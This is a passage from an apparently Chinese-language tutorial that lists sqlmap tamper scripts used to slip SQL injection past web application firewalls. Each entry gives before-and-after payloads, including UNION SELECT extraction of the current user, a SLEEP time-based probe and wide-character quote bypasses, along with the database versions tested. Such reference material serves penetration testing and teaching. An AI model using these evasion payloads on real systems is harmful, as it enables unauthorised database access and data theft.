作用:空格替換為 #號 以及更多隨機字串 換行符(和上一條原理一致)

示例:

1 AND 9227=9227 
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
``` 
版本要求: 
* MySQL >= 5.1.13 Tested
針對此做過測試: 
* MySQL 5.1.41
#### space2mssqlblank.py
作用:空格替換為其它空符號
示例:
```sql
SELECT id FROM users 
SELECT%08id%02FROM%0Fusers

版本要求:

Microsoft SQL Server
在以下版本做過測試:
Microsoft SQL Server 2000
Microsoft SQL Server 2005

4:space2mysqlblank.py

作用:空格替換其它空白符號

示例:

SELECT id FROM users 
SELECT%0Bid%0BFROM%A0users

版本要求:

MySQL
在以下版本做過測試:
MySQL 5.1

5:space2mssqlhash.py

作用:替換空格

示例:

'1 AND 9227=9227'
'1%23%0AAND%23%0A9227=9227'

版本要求:

MSSQL
MySQL

6:modsecurityversioned.py

作用:過濾空格,包含完整的查詢版本註釋

示例:

'1 AND 2>1--'
'1 /*!30874AND 2>1*/--'

版本要求:

MySQL
在以下版本做過測試:
MySQL 5.0

7:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’

示例:

SELECT id FROM users 
SELECT//id//FROM/**/users

在以下版本做過測試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

8:space2mysqldash.py

作用:用–%0A替換空格

注:之前有個mssql的 這個是mysql

示例:

'1 AND 9227=9227'
'1--%0AAND--%0A9227=9227'

版本要求:

MySQL
MSSQL

9:space2plus.py

作用:用+替換空格

示例:

'SELECT id FROM users'
'SELECT+id+FROM+users'

在以下版本做過測試:

All

10:bluecoat.py

作用:代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like

示例:

'SELECT id FROM users where id = 1'
'SELECT%09id FROM users where id LIKE 1'

在以下版本做過測試:

MySQL 5.1, SGOS

11:space2randomblank.py

作用:代替空格字元(“”)從一個隨機的空白字元可選字元的有效集

示例:

'SELECT id FROM users'
'SELECT%0Did%0DFROM%0Ausers'

在以下版本做過測試:

All

12:sp_password.py

作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

示例:

'1 AND 9227=9227-- '
'1 AND 9227=9227-- sp_password'

版本要求: * MSSQL

針對過濾引號的:

1:apostrophemask.py

作用:用utf8代替單引號

示例:

"1 AND '1'='1"
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

在以下版本做過測試:

all

2:apostrophenullencode.py

作用:繞過過濾雙引號,替換字元和雙引號。

示例:

"1 AND '1'='1"
'1 AND %00%271%00%27=%00%271'

在以下版本做過測試:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

針對過濾關鍵字的:

1:halfversionedmorekeywords.py

作用:當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論

示例:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

版本要求:

MySQL < 5.1
在以下版本做過測試:
MySQL 4.0.18, 5.0.22

2:ifnull2ifisnull.py

作用:繞過對IFNULL過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

示例:

'IFNULL(1, 2)'
'IF(ISNULL(1),2,1)'

版本要求:

MySQL
SQLite (possibly)
SAP MaxDB (possibly)
在以下版本做過測試:
MySQL 5.0 and 5.5

3:multiplespaces.py

作用:圍繞SQL關鍵字新增多個空格

示例:

'1 UNION SELECT foobar'
'1 UNION SELECT foobar'

在以下版本做過測試:

All

4:halfversionedmorekeywords.py

作用:關鍵字前加註釋

示例:

value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 
value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

版本要求:

MySQL < 5.1
在以下版本做過測試:
MySQL 4.0.18, 5.0.22

5:unionalltounion.py

作用:替換UNION ALL SELECT UNION SELECT

示例:

'-1 UNION ALL SELECT'
'-1 UNION SELECT'

版本要求: all

6:randomcomments.py

作用:用/**/分割sql關鍵字

‘INSERT’
‘IN//S//ERT’

7:unmagicquotes.py

作用:寬字元繞過 GPC addslashes

示例:

1’ AND 1=1 
 1%bf%27 AND 1=1–%20
8:randomcase.py

作用:隨機大小寫

示例: INSERT InsERt 在以下版本做過測試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

針對過濾比較符號的:

1:equaltolike.py

作用:like 代替等號

示例:

SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id LIKE 1

2:greatest.py

作用:繞過過濾’>’ ,用GREATEST替換大於號。

示例:

'1 AND A > B'
'1 AND GREATEST(A,B+1)=A'

在以下版本做過測試:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

3:between.py

作用:用between替換大於號(>)

示例:

'1 AND A > B--'
'1 AND A NOT BETWEEN 0 AND B--'

在以下版本做過測試:

Microsoft SQL Server 2005 MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

其他型別:

1:versionedmorekeywords.py

作用:註釋繞過

示例:

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 
1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

版本要求:

MySQL >= 5.1.13

2:securesphere.py

作用:追加特製的字串

示例:

'1 AND 1=1'
"1 AND 1=1 and '0having'='0having'"

在以下版本做過測試:

All

3:charunicodeencode.py

作用:字串 unicode 編碼

示例:

SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

版本要求:

ASP
ASP.NET
在以下版本做過測試:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

4:charencode.py

作用:url編碼

示例:

SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

在以下版本做過測試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

5:appendnullbyte.py

作用:在有效負荷結束位置載入零位元組字元編碼

‘1 AND 1=1’
‘1 AND 1=1%00’

版本要求:

Microsoft Access

6:chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)

示例:

SELECT FIELD FROM%20TABLE 
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

7:base64encode.py

作用:用base64編碼替換

示例:

"1' AND SLEEP(5)#"
'MScgQU5EIFNMRUVQKDUpIw=='

版本要求:

all

8:nonrecursivereplacement.py

作用:雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

示例:

'1 UNION SELECT 2--'
'1 UNIOUNIONN SELESELECTCT 2--'

在以下版本做過測試:

all

後續內容將會繼續更新。。。。。。。。。

參考資料:

安全牛課堂-kali-linux-web篇